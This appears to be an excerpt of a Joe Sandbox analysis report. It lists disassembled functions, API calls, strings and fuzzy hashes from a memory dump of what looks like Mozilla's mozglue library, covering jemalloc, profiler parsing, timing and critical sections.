Instruction ID: 49c2772cc89f3f6c2ef2451e7c4258f5a784cb1be34daf2a0bb4fd035183f610
Opcode Fuzzy Hash: f5ce22cf505a7429fec9a3e65efe89fbf5c0404e97cb9b90d98344c79bb2d07f
Instruction Fuzzy Hash: ED337B716067018FD308CF29C990615BBE2BF85328F29C6ADE9798B7A5D771E842CF41

Function 6C624820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

el, xrefs: 6C624F88
data, xrefs: 6C6249B4
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C624D65
ProfileBuffer parse error: %s, xrefs: 6C624DD9
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C624D0A
-%llu, xrefs: 6C624825
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C624DB8, 6C624DD8
schema, xrefs: 6C6248C1
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C624CAF

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free
String ID: el$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-3164472995
Opcode ID: 61feb79ff9d43f1c40dde631373d7896886ff129b5c05e5384082c8cb229a56f
Instruction ID: 703eac1ac70e27693952a2961bda06fc07f59c5d907afd4bee209ec7a0c0aa60
Opcode Fuzzy Hash: 61feb79ff9d43f1c40dde631373d7896886ff129b5c05e5384082c8cb229a56f
Instruction Fuzzy Hash: BE722D71A18B858BD362CF34C4513ABF7E5BFDA344F108B1DE4896B610EB74A486CB46

Function 6C5FD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C65E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C60D1C5), ref: 6C5FD4F2
LeaveCriticalSection.KERNEL32(6C65E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C60D1C5), ref: 6C5FD50B

Part of subcall function 6C5DCFE0: EnterCriticalSection.KERNEL32(6C65E784), ref: 6C5DCFF6
Part of subcall function 6C5DCFE0: LeaveCriticalSection.KERNEL32(6C65E784), ref: 6C5DD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C60D1C5), ref: 6C5FD52E
EnterCriticalSection.KERNEL32(6C65E7DC), ref: 6C5FD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5FD6A6
LeaveCriticalSection.KERNEL32(6C65E7DC), ref: 6C5FD712
LeaveCriticalSection.KERNEL32(6C65E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C60D1C5), ref: 6C5FD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5FD7EA

Strings

<jemalloc>, xrefs: 6C5FD827
: (malloc) Error initializing arena, xrefs: 6C5FD82C

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 959b063e13700530899164c9e8296891fead730d966f4d517184c7aae98a2f76
Instruction ID: adab83503d4f534160065a0d6c0466094fafa7585ceb02c8e15dfb06983f35d6
Opcode Fuzzy Hash: 959b063e13700530899164c9e8296891fead730d966f4d517184c7aae98a2f76
Instruction Fuzzy Hash: B991E671A057018FDB18CF29C89072AB7E1FB89314F65492EE56AC7B81D734E846CF86

Function 6C634EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C634EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C634F2E
moz_xmalloc.MOZGLUE ref: 6C634F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C634F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6352B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6352E6
Sleep.KERNEL32(00000010), ref: 6C635481
free.MOZGLUE(?), ref: 6C635498

Strings

(, xrefs: 6C635250

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 65558686dafbe9cc5c36513b1a87a4807918db902c2c969d079507030a9900c4
Instruction ID: 17d5f2cec0c5edce6fbc3945e0e8149e0dc2a2fb4a00bb3246ed1e66fae5cc97
Opcode Fuzzy Hash: 65558686dafbe9cc5c36513b1a87a4807918db902c2c969d079507030a9900c4
Instruction Fuzzy Hash: A0F1F371A18B008FC716DF39C89062BB7F5AFD6384F45872EF84AA7651DB31D8428B85

Function 6C637030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C637046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C637060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C63707E

Part of subcall function 6C5E81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5E81DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C637096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C63709C
LocalFree.KERNEL32(?), ref: 6C6370AA

Strings

### ERROR: %s: %s, xrefs: 6C637087
(null), xrefs: 6C63706A, 6C637083

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: ca756da599dcf4d6b3de8b7fc5cf844d653b5cc0f7e45ed1ade53da97caa32aa
Instruction ID: 8d5ce22704ac968717b0dda75b57a663136aed8b26b52a73d11fdc4152464ff7
Opcode Fuzzy Hash: ca756da599dcf4d6b3de8b7fc5cf844d653b5cc0f7e45ed1ade53da97caa32aa
Instruction Fuzzy Hash: 3901B9B1B00104AFDB049B65DC4ADBF7BBCEF89254F650429FA05A3241D67169148BA9

Function 6C5F9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5F9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C5F9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5F9F34
LeaveCriticalSection.KERNEL32(?), ref: 6C5FA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5FA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5FA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5FA8B1, 6C5FA8D4, 6C5FA8EF

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: ea4c90d9e752687343f05b2779745a953e1c4d2d19bfae41b9c233d50a2ed5ac
Instruction ID: f3e17908c496ad3808370fe0b65830060b1c6b4bda7ed4468f47d1f4d58f2bda
Opcode Fuzzy Hash: ea4c90d9e752687343f05b2779745a953e1c4d2d19bfae41b9c233d50a2ed5ac
Instruction Fuzzy Hash: 6E726C72A057118FD708CF29C940615FBE1BF89328F2AC66DE8699B791D375E842CF81

Function 6C622C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C622C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C622C61

Part of subcall function 6C5D4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5D4E5A
Part of subcall function 6C5D4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5D4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C622C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C622E2D

Part of subcall function 6C5E81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5E81DE

Strings

expected a Time entry, xrefs: 6C622E36
(root), xrefs: 6C62354F
ProfileBuffer parse error: %s, xrefs: 6C622E3B

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 3fc6e3b21afc5fb85b76c0c1477065f06cb198d8c8ec7c0ab94e3b91b4c5ddd8
Instruction ID: 7c0315decc3cfe55f92c1dff790d5e4f86b191e4295c62bb6e862579fcc93fd8
Opcode Fuzzy Hash: 3fc6e3b21afc5fb85b76c0c1477065f06cb198d8c8ec7c0ab94e3b91b4c5ddd8
Instruction Fuzzy Hash: 4591CF706087408FC724CF24C48069EB7E5AFCA368F508D2DE59A9B750DB34D949CF5A

Function 6C639E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C639F3D
__aulldiv.LIBCMT ref: 6C639F77
__aullrem.LIBCMT ref: 6C639F8C
__aulldiv.LIBCMT ref: 6C63A023

Strings

-Infinity, xrefs: 6C639E60, 6C639E7B
NaN, xrefs: 6C639EAB

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 2547baa74b8a9d7c537d0222108f279f98d0d1de98271610e428ed809b505059
Instruction ID: bf78aff0c190cd5e576f458b8ea03b61670c9ddb3bc15d65e8463fac0895bfc1
Opcode Fuzzy Hash: 2547baa74b8a9d7c537d0222108f279f98d0d1de98271610e428ed809b505059
Instruction Fuzzy Hash: D8C1B271E043288BDF14CF98C8407DEB7B6EF89308F546529D409ABB81DB70AC45CB99

Function 6C5DD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

1, xrefs: 6C5DDBDD
-, xrefs: 6C5DD7DD
0, xrefs: 6C5DDC7F
9, xrefs: 6C5DDE7F
0, xrefs: 6C5DD852
8, xrefs: 6C5DDC08
, xrefs: 6C5DDA88
@, xrefs: 6C5DDAF6

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 1f4ee1e053619c69e7e5d3de91a50fefdaa2f8fabd50e127471d6a79557af6b9
Instruction ID: 683ad62dc0fb9157887a6b4d3c0f9c90a4f09d33138f5c9a463ef234272fe6d1
Opcode Fuzzy Hash: 1f4ee1e053619c69e7e5d3de91a50fefdaa2f8fabd50e127471d6a79557af6b9
Instruction Fuzzy Hash: C362BE7150C3458FD711CF2CC89076ABBF2AF86358F1A8A4DE4D54BA51C335A885CFAA

Function 6C64545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C648A4B

Strings

~q]l, xrefs: 6C645740, 6C645703, 6C649459, 6C6456C7, 6C64921F, 6C649269, 6C64948F

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memset
String ID: ~q]l
API String ID: 2221118986-3028681918
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: cee5edf43f4068935e0553135b682d0f28df9ff1d323248eb2cf0813c2387819
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 80B10972E0121ACFDB14CF68CC907E9B7B6EF85314F1882A9C549EB791D7309989CB94

Function 6C64542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6488F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C64925C

Strings

~q]l, xrefs: 6C645740, 6C645703, 6C649459, 6C6456C7, 6C64921F, 6C649269, 6C64948F

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memset
String ID: ~q]l
API String ID: 2221118986-3028681918
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 146dcedab37ed06f50cdefe45d16bd9a32bef373e5c947ab3528bcb5b1f9a4c6
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: ECB1D572E0420A8FDB14CF68C8816EDB7B6AF85314F148269C949EB795D730A989CB94

Function 6C63C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C63C0E9), ref: 6C63C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C63C437
FreeLibrary.KERNEL32(?,6C63C0E9), ref: 6C63C44C

Strings

NtQueryVirtualMemory, xrefs: 6C63C431
ntdll.dll, xrefs: 6C63C413

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 70f9934701895da25a316816408451823ec6fff29e62c3f8361709e3774c90b1
Instruction ID: b5787da28db8daff1a76c1870b7165bc33c1f46491ca1c9b881f45f0507faebc
Opcode Fuzzy Hash: 70f9934701895da25a316816408451823ec6fff29e62c3f8361709e3774c90b1
Instruction Fuzzy Hash: 56E0BF70702311ABDF00FF73D9887157BF8B746344FB49115AA0592711DBB2D0158B5E

Function 6C5E9F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

9, xrefs: 6C5EA5D6
@, xrefs: 6C5EA625
1, xrefs: 6C5EA824
0, xrefs: 6C5EAB22
0, xrefs: 6C5EA100
' , xrefs: 6C5EA3D8

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: a39018d71becb084a2ca27e80f9b1ad9062aa89a62e9181b3530cf199afa281e
Instruction ID: 9ecf6b182df13876baae3fe46eaa385a86dee839a5a72518a2f8f9fd6bceba21
Opcode Fuzzy Hash: a39018d71becb084a2ca27e80f9b1ad9062aa89a62e9181b3530cf199afa281e
Instruction Fuzzy Hash: B782E3719093618BD711CF39CC8036EBFF1EB8D718F558A2AE8D557A90D335A885CB82

Function 6C5DBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5DC1CB
__aulldiv.LIBCMT ref: 6C5DC24C
__aulldiv.LIBCMT ref: 6C5DC348
__aullrem.LIBCMT ref: 6C5DC365
__aulldiv.LIBCMT ref: 6C5DC37D

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 6f5acbd1c479d881d300c37d14742692e964ccd1c93c16926627f6bdf8861578
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 12321532B147119FC718DE2CC890A5ABBE6AFC9310F0A866DE895CB395D734ED05CB91

Function 6C6277A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C627A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C627A93

Part of subcall function 6C5F5C50: GetTickCount64.KERNEL32 ref: 6C5F5D40
Part of subcall function 6C5F5C50: EnterCriticalSection.KERNEL32(6C65F688), ref: 6C5F5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C627AA1

Part of subcall function 6C5F5C50: __aulldiv.LIBCMT ref: 6C5F5DB4
Part of subcall function 6C5F5C50: LeaveCriticalSection.KERNEL32(6C65F688), ref: 6C5F5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C627B31

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 7892165770ccceba0ef5e19fc1187123c9bd2e4d45d0764b93c5c793d9a011a5
Instruction ID: ab8172986997e08fd917421b2fb080648af485b5716fd31fe4f861e0ea34bdf7
Opcode Fuzzy Hash: 7892165770ccceba0ef5e19fc1187123c9bd2e4d45d0764b93c5c793d9a011a5
Instruction Fuzzy Hash: 53B160356083418BCB14CF25C450A9FB7E2BFC6318F158A1CE99567791DB78E90ACF8A

Function 6C5F8850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5F9813, 6C5F985D, 6C5F9878, 6C5F9CEB
MOZ_CRASH(), xrefs: 6C5F97EA

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 7a824acc5e779c37ca0a9fd035a6ae83b721ff9ae33f6d4dd6aaf990577caf14
Instruction ID: 54c61c6fe9519fca8876153057a974648f0940701308ae9a560df7e6beaf2400
Opcode Fuzzy Hash: 7a824acc5e779c37ca0a9fd035a6ae83b721ff9ae33f6d4dd6aaf990577caf14
Instruction Fuzzy Hash: E3D27C71A05A018FD718CF19C990615BBE2BF86324F29C76DD87A8B7A5D731E842CF81

Function 6C616CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C616D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C616E1E

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
